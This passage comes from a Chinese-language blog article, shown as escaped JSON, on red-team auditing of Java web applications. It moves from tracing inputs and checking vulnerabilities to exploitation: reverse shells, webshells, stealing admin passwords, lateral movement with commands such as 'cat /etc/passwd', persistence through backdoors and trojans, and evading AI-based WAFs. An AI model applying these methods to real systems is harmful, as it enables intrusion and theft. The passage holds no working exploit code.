                \u9488\u5bf9\u626b\u63cf\u5230\u7684\u53ef\u7591\u4ee3\u7801，\u901a\u8fc7IDEA\u7684\u4ee3\u7801\u8c03\u7528\u94fe\u8ddf\u8e2a\u529f\u80fd，\u4ece\u63a5\u53e3\u5165\u53e3\u5f00\u59cb，\u9010\u884c\u8ddf\u8e2a\u8f93\u5165\u53c2\u6570\u7684\u4f20\u9012\u6d41\u7a0b\u3001\u8fc7\u6ee4\u673a\u5236\u3001\u6700\u7ec8\u89e6\u53d1\u70b9，\u786e\u8ba4\u4ee5\u4e0b\u6838\u5fc3\u95ee\u9898：<\/p>\n

              • \u8f93\u5165\u53c2\u6570\u662f\u5426\u4e3a\u7528\u6237\u53ef\u63a7（\u5982HTTP\u8bf7\u6c42\u53c2\u6570\u3001Cookie\u3001Header）；<\/li>\n
              • \u8f93\u5165\u53c2\u6570\u662f\u5426\u7ecf\u8fc7\u6709\u6548\u8fc7\u6ee4\/\u8f6c\u4e49（\u5982\u9ed1\u540d\u5355\u3001\u767d\u540d\u5355\u3001\u7279\u6b8a\u5b57\u7b26\u8f6c\u4e49），\u8fc7\u6ee4\u673a\u5236\u662f\u5426\u53ef\u7ed5\u8fc7；<\/li>\n
              • \u8f93\u5165\u53c2\u6570\u662f\u5426\u6700\u7ec8\u89e6\u8fbe\u5371\u9669\u51fd\u6570\/\u5371\u9669\u64cd\u4f5c（\u5982exec()\u3001transferTo()\u3001${}\u62fc\u63a5）\u3002<\/li>\n

                \u6b64\u6b65\u9aa4\u7684\u6838\u5fc3\u662f\u907f\u514d\u8bef\u5224\u6f0f\u6d1e，\u4f8b\u5982：\u770b\u4f3c\u5b58\u5728\u547d\u4ee4\u6267\u884c\u7684\u53ef\u7591\u4ee3\u7801，\u4f46\u8f93\u5165\u53c2\u6570\u7ecf\u8fc7\u4e86\u4e25\u683c\u7684\u767d\u540d\u5355\u6821\u9a8c，\u6b64\u65f6\u8be5\u4ee3\u7801\u65e0\u5229\u7528\u4ef7\u503c，\u53ef\u76f4\u63a5\u8df3\u8fc7\u3002<\/p>\n

                3. \u7b2c\u4e09\u6b65：\u6f0f\u6d1e\u9a8c\u8bc1\u2014\u2014\u642d\u5efa\u7b80\u6613\u73af\u5883，\u9a8c\u8bc1\u6f0f\u6d1e\u89e6\u53d1\u6761\u4ef6<\/h4>\n

                \u9488\u5bf9\u786e\u8ba4\u7684\u53ef\u5229\u7528\u6f0f\u6d1e，\u642d\u5efa\u4e0e\u76ee\u6807\u6280\u672f\u6808\u4e00\u81f4\u7684\u7b80\u6613\u6d4b\u8bd5\u73af\u5883（\u5982\u76f8\u540c\u7684SpringBoot\u7248\u672c\u3001Tomcat\u7248\u672c\u3001\u4f9d\u8d56\u7248\u672c），\u901a\u8fc7Burp\/PostMan\u6784\u9020payload，\u9a8c\u8bc1\u6f0f\u6d1e\u662f\u5426\u80fd\u6210\u529f\u89e6\u53d1\u3002<\/p>\n

                \u9a8c\u8bc1\u539f\u5219：<\/p>\n

              • \u73af\u5883\u4e00\u81f4\u6027：\u6d4b\u8bd5\u73af\u5883\u7684\u6846\u67b6\u7248\u672c\u3001\u4f9d\u8d56\u7248\u672c\u3001Web\u5bb9\u5668\u7248\u672c\u9700\u4e0e\u76ee\u6807\u4e00\u81f4，\u907f\u514d\u56e0\u73af\u5883\u5dee\u5f02\u5bfc\u81f4\u6f0f\u6d1e\u65e0\u6cd5\u89e6\u53d1；<\/li>\n
              • \u6700\u5c0f\u5316\u9a8c\u8bc1：\u5148\u6784\u9020\u7b80\u5355\u7684payload\u9a8c\u8bc1\u6f0f\u6d1e\u662f\u5426\u5b58\u5728（\u5982\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u6267\u884cwhoami，SQL\u6ce8\u5165\u6f0f\u6d1e\u6267\u884c1+1），\u518d\u6784\u9020\u590d\u6742\u7684payload\u5b9e\u73b0\u5229\u7528；<\/li>\n
              • \u8003\u8651\u9632\u62a4\u63aa\u65bd：\u82e5\u76ee\u6807\u5b58\u5728WAF\u3001\u63a5\u53e3\u8fc7\u6ee4，\u9700\u5728\u9a8c\u8bc1\u65f6\u6a21\u62df\u9632\u62a4\u63aa\u65bd，\u6d4b\u8bd5payload\u7684\u7ed5\u8fc7\u6548\u679c\u3002<\/li>\n

                4. \u7b2c\u56db\u6b65：\u5b9e\u6218\u5229\u7528\u2014\u2014\u6784\u9020\u9488\u5bf9\u6027payload，\u5b9e\u73b0\u5feb\u901f\u6253\u70b9<\/h4>\n

                \u9488\u5bf9\u9a8c\u8bc1\u6210\u529f\u7684\u6f0f\u6d1e，\u7ed3\u5408\u76ee\u6807\u7684\u7cfb\u7edf\u73af\u5883（Linux\/Windows）\u3001\u7f51\u7edc\u73af\u5883（\u5916\u7f51\/\u5185\u7f51）\u3001\u9632\u62a4\u63aa\u65bd（WAF\/\u8fc7\u6ee4），\u6784\u9020\u9488\u5bf9\u6027\u7684payload，\u5b9e\u73b0\u6f0f\u6d1e\u5229\u7528，\u5b8c\u6210\u5feb\u901f\u6253\u70b9\u3002<\/p>\n

                \u5229\u7528\u4f18\u5148\u7ea7：<\/p>\n

                  \n
                • \u5916\u7f51\u73af\u5883：\u4f18\u5148\u5b9e\u73b0\u53cd\u5f39shell\/GetShell（\u76f4\u63a5\u62ff\u670d\u52a1\u5668\u6743\u9650），\u82e5\u7f51\u7edc\u53d7\u9650\u5219\u4f18\u5148\u83b7\u53d6\u654f\u611f\u6570\u636e（\u7ba1\u7406\u5458\u5bc6\u7801\u3001\u4e1a\u52a1\u6570\u636e）；<\/li>\n
                • \u5185\u7f51\u73af\u5883：\u4f18\u5148\u5b9e\u73b0\u672a\u6388\u6743\u8bbf\u95ee\/\u6a2a\u5411\u8d8a\u6743（\u6269\u5927\u653b\u51fb\u9762），\u518d\u7ed3\u5408\u53cd\u5e8f\u5217\u5316\/\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5b9e\u73b0\u5185\u7f51\u6a2a\u5411\u6e17\u900f\u3002<\/li>\n<\/ul>\n

                  5. \u7b2c\u4e94\u6b65：\u6a2a\u5411\u6269\u5c55\u2014\u2014\u5229\u7528\u6253\u70b9\u7ed3\u679c，\u6269\u5927\u653b\u51fb\u8303\u56f4<\/h4>\n

                  \u5b8c\u6210\u5355\u70b9\u6253\u70b9\u540e，\u7ea2\u961f\u7684\u6838\u5fc3\u76ee\u6807\u662f**\u201c\u6a2a\u5411\u6269\u5c55\u3001\u62ff\u4e0b\u6574\u4e2a\u5185\u7f51\u201d**，\u5229\u7528\u6253\u70b9\u83b7\u53d6\u7684\u670d\u52a1\u5668\u6743\u9650\u3001\u654f\u611f\u4fe1\u606f，\u8fdb\u884c\u4ee5\u4e0b\u64cd\u4f5c：<\/p>\n

                • \u670d\u52a1\u5668\u5185\u4fe1\u606f\u6536\u96c6：\u6267\u884cifconfig\/ipconfig\u3001cat \/etc\/passwd\u3001netstat -anp\u7b49\u547d\u4ee4，\u83b7\u53d6\u670d\u52a1\u5668\u7684\u5185\u7f51IP\u3001\u5f00\u653e\u7aef\u53e3\u3001\u7528\u6237\u4fe1\u606f\u3001\u5176\u4ed6\u670d\u52a1\u4fe1\u606f；<\/li>\n
                • \u5bc6\u7801\u590d\u7528：\u5c06\u83b7\u53d6\u7684\u7ba1\u7406\u5458\u5bc6\u7801\u3001\u6570\u636e\u5e93\u5bc6\u7801，\u5c1d\u8bd5\u767b\u5f55\u5185\u7f51\u7684\u5176\u4ed6\u670d\u52a1\u5668\u3001\u6570\u636e\u5e93\u3001\u4e1a\u52a1\u7cfb\u7edf；<\/li>\n
                • \u5185\u7f51\u7aef\u53e3\u626b\u63cf：\u5229\u7528\u5df2\u63a7\u5236\u7684\u670d\u52a1\u5668，\u5bf9\u5185\u7f51\u8fdb\u884c\u7aef\u53e3\u626b\u63cf，\u53d1\u73b0\u5176\u4ed6\u53ef\u653b\u51fb\u7684\u76ee\u6807；<\/li>\n
                • \u6301\u4e45\u5316\u63a7\u5236：\u5728\u670d\u52a1\u5668\u4e0a\u690d\u5165\u540e\u95e8（\u5982\u5b9a\u65f6\u4efb\u52a1\u3001\u9690\u85cfwebshell\u3001\u8fdc\u63a7\u6728\u9a6c），\u5b9e\u73b0\u6301\u4e45\u5316\u8bbf\u95ee，\u907f\u514d\u88ab\u76ee\u6807\u53d1\u73b0\u540e\u5931\u53bb\u63a7\u5236\u6743\u3002<\/li>\n

                  \u56db\u3001\u7ea2\u961f\u5ba1\u8ba1\u907f\u5751\u70b9：\u5b9e\u6218\u4e2d\u6613\u8e29\u7684\u5751\u4e0e\u89e3\u51b3\u65b9\u6848<\/h3>\n

                  \u5728Java Web\u4ee3\u7801\u5ba1\u8ba1\u7684\u5b9e\u6218\u4e2d，\u7ea2\u961f\u5e38\u56e0\u6846\u67b6\u7279\u6027\u3001\u9632\u62a4\u63aa\u65bd\u3001\u73af\u5883\u5dee\u5f02\u7b49\u95ee\u9898，\u51fa\u73b0\u6f0f\u6d1e\u8bef\u5224\u3001\u5229\u7528\u5931\u8d25\u7684\u60c5\u51b5，\u8fd9\u4e9b\u95ee\u9898\u4e0d\u4ec5\u6d6a\u8d39\u5ba1\u8ba1\u65f6\u95f4，\u8fd8\u53ef\u80fd\u5bfc\u81f4\u6253\u70b9\u5931\u8d25\u3002\u7ed3\u5408\u7ea2\u961f\u5b9e\u6218\u7ecf\u9a8c，\u603b\u7ed3\u4ee5\u4e0b\u4e94\u5927\u6613\u8e29\u5751\u70b9，\u5e76\u63d0\u4f9b\u5bf9\u5e94\u7684\u89e3\u51b3\u65b9\u6848，\u63d0\u5347\u6f0f\u6d1e\u6316\u6398\u548c\u5229\u7528\u7684\u6210\u529f\u7387\u3002<\/p>\n

                  1. \u5751\u70b91：\u8bef\u5224\u8fc7\u6ee4\u673a\u5236，\u8ba4\u4e3a\u6f0f\u6d1e\u53ef\u5229\u7528\u5b9e\u5219\u4e0d\u53ef\u7ed5\u8fc7<\/h4>\n

                  \u95ee\u9898：\u770b\u4f3c\u5b58\u5728\u8fc7\u6ee4\u7f3a\u9677，\u4f46\u5f00\u53d1\u8005\u4f7f\u7528\u4e86\u6846\u67b6\u81ea\u5e26\u7684\u8fc7\u6ee4\u673a\u5236\u3001\u81ea\u5b9a\u4e49\u7684\u5f3a\u8fc7\u6ee4\u89c4\u5219，\u5bfc\u81f4payload\u65e0\u6cd5\u7ed5\u8fc7，\u6f0f\u6d1e\u5b9e\u9645\u4e0d\u53ef\u5229\u7528；
                  \n\u89e3\u51b3\u65b9\u6848：\u5ba1\u8ba1\u65f6\u9700\u5b8c\u6574\u8ddf\u8e2a\u8fc7\u6ee4\u6d41\u7a0b，\u4e0d\u4ec5\u68c0\u67e5\u5f00\u53d1\u8005\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4，\u8fd8\u9700\u68c0\u67e5\u6846\u67b6\u81ea\u5e26\u7684\u8fc7\u6ee4（\u5982Spring Security\u7684XSS\u8fc7\u6ee4\u3001Tomcat\u7684\u8bf7\u6c42\u8fc7\u6ee4）；\u5229\u7528\u65f6\u5148\u6784\u9020\u7ed5\u8fc7\u6d4b\u8bd5payload，\u9a8c\u8bc1\u8fc7\u6ee4\u673a\u5236\u7684\u6709\u6548\u6027，\u518d\u6784\u9020\u6b63\u5f0f\u7684\u5229\u7528payload\u3002<\/p>\n

                  2. \u5751\u70b92：\u5ffd\u7565\u6846\u67b6\/\u4f9d\u8d56\u7248\u672c，\u5bfc\u81f4payload\u65e0\u6cd5\u89e6\u53d1\u6f0f\u6d1e<\/h4>\n

                  \u95ee\u9898：\u6316\u6398\u53cd\u5e8f\u5217\u5316\u3001\u6846\u67b6\u539f\u751f\u6f0f\u6d1e\u65f6，\u5ffd\u7565\u4e86\u6846\u67b6\/\u4f9d\u8d56\u7684\u7248\u672c，\u4f7f\u7528\u4e86\u4e0d\u9002\u914d\u7684payload，\u5bfc\u81f4\u6f0f\u6d1e\u65e0\u6cd5\u89e6\u53d1；
                  \n\u89e3\u51b3\u65b9\u6848：\u5ba1\u8ba1\u65f6\u4f18\u5148\u8bb0\u5f55\u6240\u6709\u6846\u67b6\/\u4f9d\u8d56\u7684\u7248\u672c，\u901a\u8fc7CVE\u5e93\u3001\u6f0f\u6d1e\u5e73\u53f0（\u5982NVD\u3001CNVD）\u67e5\u8be2\u8be5\u7248\u672c\u662f\u5426\u5b58\u5728\u53ef\u5229\u7528\u7684\u6f0f\u6d1e；\u5229\u7528\u65f6\u4f7f\u7528\u7248\u672c\u9002\u914d\u7684payload，\u4f8b\u5982：Fastjson 1.2.47\u4f7f\u7528Fastjson1 gadget，Fastjson 1.2.60\u4f7f\u7528Fastjson2 gadget\u3002<\/p>\n

                  3. \u5751\u70b93：\u672a\u8003\u8651Web\u5bb9\u5668\u7684\u89e3\u6790\u7279\u6027，\u5bfc\u81f4\u6587\u4ef6\u4e0a\u4f20\u5229\u7528\u5931\u8d25<\/h4>\n

                  \u95ee\u9898：\u4e0a\u4f20\u4e86webshell，\u4f46\u56e0Tomcat\/Jetty\u7684\u89e3\u6790\u7279\u6027\u3001\u914d\u7f6e\u9650\u5236，\u65e0\u6cd5\u901a\u8fc7HTTP\u8bf7\u6c42\u8bbf\u95ee，\u5bfc\u81f4GetShell\u5931\u8d25；
                  \n\u89e3\u51b3\u65b9\u6848：\u5ba1\u8ba1\u65f6\u786e\u8ba4Web\u5bb9\u5668\u7684\u7248\u672c\u3001\u89e3\u6790\u914d\u7f6e（\u5982Tomcat\u7684web.xml\u914d\u7f6e）；\u5229\u7528\u65f6\u7ed3\u5408Web\u5bb9\u5668\u7684\u89e3\u6790\u6f0f\u6d1e，\u6784\u9020\u9002\u914d\u7684\u6587\u4ef6\u540d，\u540c\u65f6\u786e\u8ba4\u4e0a\u4f20\u8def\u5f84\u4e3aWeb\u5bb9\u5668\u7684\u53ef\u8bbf\u95ee\u76ee\u5f55\u3002<\/p>\n

                  4. \u5751\u70b94：\u5ffd\u7565\u7f51\u7edc\u73af\u5883\u9650\u5236，\u5bfc\u81f4\u53cd\u5f39shell\u5931\u8d25<\/h4>\n

                  \u95ee\u9898：\u6784\u9020\u4e86\u6b63\u786e\u7684\u53cd\u5f39shell payload，\u4f46\u56e0\u76ee\u6807\u670d\u52a1\u5668\u5904\u4e8e\u5185\u7f51\u3001\u7981\u6b62\u8bbf\u95ee\u5916\u7f51\u7aef\u53e3\u3001\u5f00\u542f\u4e86\u9632\u706b\u5899，\u5bfc\u81f4\u53cd\u5f39shell\u5931\u8d25；
                  \n\u89e3\u51b3\u65b9\u6848：\u5229\u7528\u524d\u5148\u901a\u8fc7\u9ed1\u76d2\u63a2\u6d4b\u786e\u8ba4\u76ee\u6807\u7684\u7f51\u7edc\u73af\u5883；\u82e5\u7f51\u7edc\u53d7\u9650，\u4f18\u5148\u6267\u884c\u672c\u5730\u547d\u4ee4\u83b7\u53d6\u654f\u611f\u4fe1\u606f，\u6216\u901a\u8fc7\u6587\u4ef6\u4e0a\u4f20\u5b9e\u73b0\u6301\u4e45\u5316\u63a7\u5236，\u800c\u975e\u53cd\u5f39shell\u3002<\/p>\n

                  5. \u5751\u70b95：\u8bef\u5224\u5fae\u670d\u52a1\u7684\u8fb9\u754c，\u5bfc\u81f4\u6f0f\u6d1e\u5229\u7528\u8303\u56f4\u53d7\u9650<\/h4>\n

                  \u95ee\u9898：\u5728\u5fae\u670d\u52a1\u67b6\u6784\u4e2d，\u6316\u6398\u5230\u67d0\u4e2a\u5fae\u670d\u52a1\u7684\u6f0f\u6d1e，\u4f46\u56e0\u5fae\u670d\u52a1\u95f4\u7684\u7f51\u7edc\u9694\u79bb\u3001\u6743\u9650\u63a7\u5236，\u65e0\u6cd5\u5229\u7528\u8be5\u6f0f\u6d1e\u653b\u51fb\u5176\u4ed6\u5fae\u670d\u52a1，\u5bfc\u81f4\u6253\u70b9\u8303\u56f4\u53d7\u9650；
                  \n\u89e3\u51b3\u65b9\u6848：\u5ba1\u8ba1\u65f6\u5148\u68b3\u7406\u5fae\u670d\u52a1\u7684\u67b6\u6784\u3001\u7f51\u7edc\u62d3\u6251；\u5229\u7528\u65f6\u4f18\u5148\u6316\u6398\u670d\u52a1\u95f4\u901a\u4fe1\u7684\u6f0f\u6d1e（\u5982\u670d\u52a1\u95f4\u672a\u6388\u6743\u8bbf\u95ee\u3001\u5fae\u670d\u52a1\u7f51\u5173\u6f0f\u6d1e），\u901a\u8fc7\u670d\u52a1\u95f4\u901a\u4fe1\u5b9e\u73b0\u8de8\u5fae\u670d\u52a1\u7684\u653b\u51fb\u3002<\/p>\n

                  \u4e94\u3001\u524d\u77bb\u6027\u8d8b\u52bf：Java Web\u5b89\u5168\u4e0e\u7ea2\u961f\u5ba1\u8ba1\u7684\u672a\u6765\u6311\u6218<\/h3>\n

                  \u968f\u7740Java\u751f\u6001\u7684\u4e0d\u65ad\u5347\u7ea7，\u4e91\u539f\u751f\u3001\u5fae\u670d\u52a1\u3001\u4f4e\u4ee3\u7801\u6210\u4e3aJava Web\u5f00\u53d1\u7684\u4e3b\u6d41\u8d8b\u52bf，\u540c\u65f6\u5f00\u53d1\u8005\u7684\u5b89\u5168\u610f\u8bc6\u4e0d\u65ad\u63d0\u5347，\u4f20\u7edf\u7684\u6f0f\u6d1e\u5f62\u5f0f\u9010\u6e10\u51cf\u5c11，\u65b0\u578b\u7684\u6f0f\u6d1e\u5f62\u5f0f\u4e0d\u65ad\u6d8c\u73b0，\u7ea2\u961f\u7684Java Web\u4ee3\u7801\u5ba1\u8ba1\u9762\u4e34\u7740\u65b0\u7684\u6311\u6218\u548c\u673a\u9047\u3002\u7ed3\u5408\u5f53\u524dJava\u751f\u6001\u7684\u53d1\u5c55\u8d8b\u52bf，\u603b\u7ed3\u4ee5\u4e0b\u4e09\u5927\u524d\u77bb\u6027\u8d8b\u52bf，\u4e3a\u7ea2\u961f\u5ba1\u8ba1\u63d0\u4f9b\u65b9\u5411：<\/p>\n

                  1. \u4e91\u539f\u751f\u90e8\u7f72：\u5bb9\u5668\u5316\/\u7f16\u6392\u5316\u5e26\u6765\u7684\u65b0\u578b\u5b89\u5168\u98ce\u9669<\/h4>\n

                  \u4e91\u539f\u751f\u573a\u666f\u4e0b，Java Web\u9879\u76ee\u5e38\u901a\u8fc7Docker\u3001K8s\u5b9e\u73b0\u5bb9\u5668\u5316\u90e8\u7f72\u548c\u7f16\u6392，\u6b64\u65f6\u6f0f\u6d1e\u4e0d\u4ec5\u51fa\u73b0\u5728\u4ee3\u7801\u5c42，\u8fd8\u51fa\u73b0\u5728\u5bb9\u5668\u5c42\u3001\u7f16\u6392\u5c42\u3001\u955c\u50cf\u5c42，\u4f8b\u5982：Docker\u955c\u50cf\u4e2d\u5b58\u5728\u6f0f\u6d1e\u4f9d\u8d56\u3001K8s\u7684RBAC\u914d\u7f6e\u5931\u8bef\u3001\u5bb9\u5668\u95f4\u7684\u7f51\u7edc\u9694\u79bb\u5931\u6548\u7b49\u3002\u7ea2\u961f\u7684\u5ba1\u8ba1\u8303\u56f4\u9700\u4ece\u7eaf\u4ee3\u7801\u5ba1\u8ba1\u6269\u5c55\u4e3a\u4ee3\u7801+\u5bb9\u5668+\u7f16\u6392\u7684\u5168\u6808\u5ba1\u8ba1，\u6316\u6398\u5bb9\u5668\u5316\u573a\u666f\u4e0b\u7684\u4e13\u5c5e\u6f0f\u6d1e，\u4f8b\u5982：\u901a\u8fc7\u4ee3\u7801\u6f0f\u6d1e\u83b7\u53d6\u5bb9\u5668\u6743\u9650\u540e，\u5229\u7528Docker\u7684\u6302\u8f7d\u673a\u5236\u653b\u51fb\u5bbf\u4e3b\u673a，\u6216\u5229\u7528K8s\u7684API\u5b9e\u73b0\u96c6\u7fa4\u7ea7\u522b\u7684\u63a7\u5236\u3002<\/p>\n

                  2. \u5fae\u670d\u52a1\u67b6\u6784：\u670d\u52a1\u95f4\u901a\u4fe1\u4e0e\u5206\u5e03\u5f0f\u5b89\u5168\u7684\u65b0\u6311\u6218<\/h4>\n

                  \u5fae\u670d\u52a1\u67b6\u6784\u4e2d，Java Web\u9879\u76ee\u7684\u670d\u52a1\u89e3\u8026\u3001\u5206\u5e03\u5f0f\u90e8\u7f72\u5bfc\u81f4\u5b89\u5168\u98ce\u9669\u4ece\u201c\u5355\u70b9\u201d\u6269\u6563\u5230\u201c\u5206\u5e03\u5f0f\u201d，\u4f8b\u5982：\u670d\u52a1\u95f4\u7684\u672a\u6388\u6743\u8bbf\u95ee\u3001\u5206\u5e03\u5f0f\u914d\u7f6e\u4e2d\u5fc3\u7684\u6f0f\u6d1e\u3001\u670d\u52a1\u6ce8\u518c\u53d1\u73b0\u7684\u6b3a\u9a97\u653b\u51fb\u7b49\u3002\u7ea2\u961f\u7684\u5ba1\u8ba1\u91cd\u70b9\u9700\u4ece\u5355\u4e2a\u63a5\u53e3\/\u6a21\u5757\u6269\u5c55\u4e3a\u5fae\u670d\u52a1\u7684\u6574\u4f53\u67b6\u6784\u3001\u670d\u52a1\u95f4\u7684\u901a\u4fe1\u673a\u5236，\u6316\u6398\u5206\u5e03\u5f0f\u573a\u666f\u4e0b\u7684\u6f0f\u6d1e，\u4f8b\u5982：\u901a\u8fc7\u5fae\u670d\u52a1\u7f51\u5173\u7684\u6f0f\u6d1e\u5b9e\u73b0\u6240\u6709\u670d\u52a1\u7684\u6d41\u91cf\u52ab\u6301，\u6216\u901a\u8fc7\u5206\u5e03\u5f0f\u914d\u7f6e\u4e2d\u5fc3\u83b7\u53d6\u6240\u6709\u5fae\u670d\u52a1\u7684\u654f\u611f\u914d\u7f6e\u3002<\/p>\n

                  3. \u4f4e\u4ee3\u7801\/\u65e0\u4ee3\u7801：\u5f00\u53d1\u6548\u7387\u4e0e\u5b89\u5168\u7684\u5e73\u8861\u96be\u9898<\/h4>\n

                  \u4f4e\u4ee3\u7801\/\u65e0\u4ee3\u7801\u5e73\u53f0\u6210\u4e3aJava Web\u5f00\u53d1\u7684\u65b0\u8d8b\u52bf，\u5f00\u53d1\u8005\u901a\u8fc7\u62d6\u62fd\u5f0f\u5f00\u53d1\u3001\u53ef\u89c6\u5316\u914d\u7f6e\u5feb\u901f\u5b9e\u73b0\u4e1a\u52a1\u529f\u80fd，\u65e0\u9700\u7f16\u5199\u5927\u91cf\u7684\u4ee3\u7801\u3002\u6b64\u65f6\u6f0f\u6d1e\u4e3b\u8981\u51fa\u73b0\u5728\u4f4e\u4ee3\u7801\u5e73\u53f0\u7684\u539f\u751f\u7ec4\u4ef6\u3001\u914d\u7f6e\u903b\u8f91\u4e2d，\u800c\u975e\u5f00\u53d1\u8005\u7f16\u5199\u7684\u4e1a\u52a1\u4ee3\u7801，\u4e14\u8be5\u7c7b\u6f0f\u6d1e\u5177\u6709\u6279\u91cf\u6027\u3001\u5e7f\u6cdb\u6027\u7684\u7279\u70b9（\u4e00\u4e2a\u5e73\u53f0\u7684\u6f0f\u6d1e\u4f1a\u5f71\u54cd\u6240\u6709\u57fa\u4e8e\u8be5\u5e73\u53f0\u5f00\u53d1\u7684Java Web\u9879\u76ee）\u3002\u7ea2\u961f\u7684\u5ba1\u8ba1\u91cd\u70b9\u9700\u4ece\u4e1a\u52a1\u4ee3\u7801\u5ba1\u8ba1\u6269\u5c55\u4e3a\u4f4e\u4ee3\u7801\u5e73\u53f0\u7684\u6838\u5fc3\u7ec4\u4ef6\u3001\u914d\u7f6e\u673a\u5236\u5ba1\u8ba1，\u6316\u6398\u4f4e\u4ee3\u7801\u5e73\u53f0\u7684\u539f\u751f\u6f0f\u6d1e，\u5b9e\u73b0\u6279\u91cf\u6253\u70b9\u3002<\/p>\n

                  4. \u5b89\u5168\u9632\u62a4\u5347\u7ea7：AI\u4e0e\u81ea\u52a8\u5316\u9632\u62a4\u5bf9\u7ea2\u961f\u7684\u6311\u6218<\/h4>\n

                  \u968f\u7740AI\u6280\u672f\u7684\u4e0d\u65ad\u53d1\u5c55，AI\u9a71\u52a8\u7684\u81ea\u52a8\u5316\u5b89\u5168\u9632\u62a4\u6210\u4e3aJava Web\u5b89\u5168\u7684\u4e3b\u6d41\u8d8b\u52bf，\u4f8b\u5982：AI-WAF\u3001AI\u4ee3\u7801\u5ba1\u8ba1\u5de5\u5177\u3001AI\u5165\u4fb5\u68c0\u6d4b\u7cfb\u7edf\u7b49\u3002\u8fd9\u4e9b\u9632\u62a4\u63aa\u65bd\u80fd\u5feb\u901f\u8bc6\u522b\u548c\u62e6\u622a\u4f20\u7edf\u7684\u6f0f\u6d1e\u5229\u7528payload，\u5bf9\u7ea2\u961f\u7684\u6f0f\u6d1e\u5229\u7528\u63d0\u51fa\u4e86\u66f4\u9ad8\u7684\u8981\u6c42\u3002\u7ea2\u961f\u9700\u8981\u4e0d\u65ad\u521b\u65b0payload\u7684\u6784\u9020\u65b9\u5f0f，\u5b9e\u73b0\u514d\u6740\u5229\u7528，\u540c\u65f6\u6316\u6398AI\u9632\u62a4\u7684\u76f2\u70b9（\u5982\u65b0\u578b\u6f0f\u6d1e\u30010day\u6f0f\u6d1e），\u7a81\u7834\u81ea\u52a8\u5316\u9632\u62a4\u7684\u9650\u5236\u3002<\/p>\n

                  \u516d\u3001\u603b\u7ed3<\/h3>\n

                  \u7ea2\u961f\u89c6\u89d2\u4e0b\u7684Java Web\u4ee3\u7801\u5ba1\u8ba1，\u59cb\u7ec8\u56f4\u7ed5**\u201c\u5feb\u901f\u6253\u70b9\u3001\u83b7\u53d6\u6743\u9650\u3001\u6a2a\u5411\u6269\u5c55\u201d**\u7684\u6838\u5fc3\u76ee\u6807，\u6452\u5f03\u65e0\u610f\u4e49\u7684\u4f4e\u5371\u6f0f\u6d1e\u6316\u6398，\u805a\u7126\u9ad8\u4ef7\u503c\u3001\u6613\u5229\u7528\u3001\u80fd\u843d\u5730\u7684\u6f0f\u6d1e\u70b9\u3002\u901a\u8fc7\u201c\u5173\u952e\u8bcd\u5b9a\u4f4d-\u8f93\u5165\u6eaf\u6e90-\u6f0f\u6d1e\u9a8c\u8bc1-\u5b9e\u6218\u5229\u7528-\u6a2a\u5411\u6269\u5c55\u201d\u7684\u95ed\u73af\u6d41\u7a0b，\u7ed3\u5408\u5de5\u5177\u5316\u3001\u8f7b\u91cf\u5316\u7684\u5ba1\u8ba1\u65b9\u6cd5，\u80fd\u5728\u6700\u77ed\u65f6\u95f4\u5185\u5b9e\u73b0\u4ece\u4ee3\u7801\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7a81\u7834\u3002<\/p>\n

                  \u968f\u7740Java\u751f\u6001\u5411\u4e91\u539f\u751f\u3001\u5fae\u670d\u52a1\u3001\u4f4e\u4ee3\u7801\u7684\u4e0d\u65ad\u5347\u7ea7，\u7ea2\u961f\u7684Java Web\u5ba1\u8ba1\u9762\u4e34\u7740\u65b0\u7684\u6311\u6218，\u5ba1\u8ba1\u8303\u56f4\u9700\u4ece\u7eaf\u4ee3\u7801\u5ba1\u8ba1\u6269\u5c55\u4e3a\u5168\u6808\u5ba1\u8ba1，\u5ba1\u8ba1\u91cd\u70b9\u9700\u4ece\u5355\u70b9\u6f0f\u6d1e\u6269\u5c55\u4e3a\u5206\u5e03\u5f0f\u6f0f\u6d1e\u3002\u4f46\u65e0\u8bba\u6280\u672f\u5982\u4f55\u53d1\u5c55，\u7ea2\u961f\u5ba1\u8ba1\u7684\u6838\u5fc3\u903b\u8f91\u59cb\u7ec8\u4e0d\u53d8\u2014\u2014\u4ee5\u5b9e\u6218\u4e3a\u5bfc\u5411，\u4ee5\u843d\u5730\u4e3a\u76ee\u6807，\u901a\u8fc7\u4e0d\u65ad\u5b66\u4e60\u65b0\u7684\u6280\u672f\u3001\u6316\u6398\u65b0\u7684\u6f0f\u6d1e，\u9002\u5e94Java Web\u5b89\u5168\u7684\u53d1\u5c55\u8d8b\u52bf，\u5728\u653b\u9632\u5b9e\u6218\u4e2d\u5360\u636e\u4e3b\u52a8\u3002<\/p>\n

                  \u5728\u672a\u6765\u7684\u7ea2\u961f\u5b9e\u6218\u4e2d，Java Web\u4ecd\u5c06\u662f\u6838\u5fc3\u7684\u653b\u51fb\u76ee\u6807，\u638c\u63e1\u9002\u914d\u65b0\u65f6\u4ee3\u7684Java Web\u4ee3\u7801\u5ba1\u8ba1\u65b9\u6cd5，\u662f\u7ea2\u961f\u4eba\u5458\u7684\u5fc5\u5907\u6280\u80fd，\u4e5f\u662f\u5b9e\u73b0\u9ad8\u6548\u6253\u70b9\u3001\u62ff\u4e0b\u6574\u4e2a\u5185\u7f51\u7684\u5173\u952e\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

                  \u5728\u7ea2\u961f\u653b\u9632\u5b9e\u6218\u4e2d，Java Web\u4f5c\u4e3a\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u4e3b\u6d41\u6280\u672f\u6808，\u662f\u6e17\u900f\u6d4b\u8bd5\u7684\u6838\u5fc3\u76ee\u6807\u4e4b\u4e00\u3002\u4e0e\u767d\u76d2\u5ba1\u8ba1\u7684\u201c\u5168\u9762\u626b\u6f0f\u3001\u5408\u89c4\u6574\u6539\u201d\u4e0d\u540c，\u7ea2\u961f\u89c6\u89d2\u4e0b\u7684Java 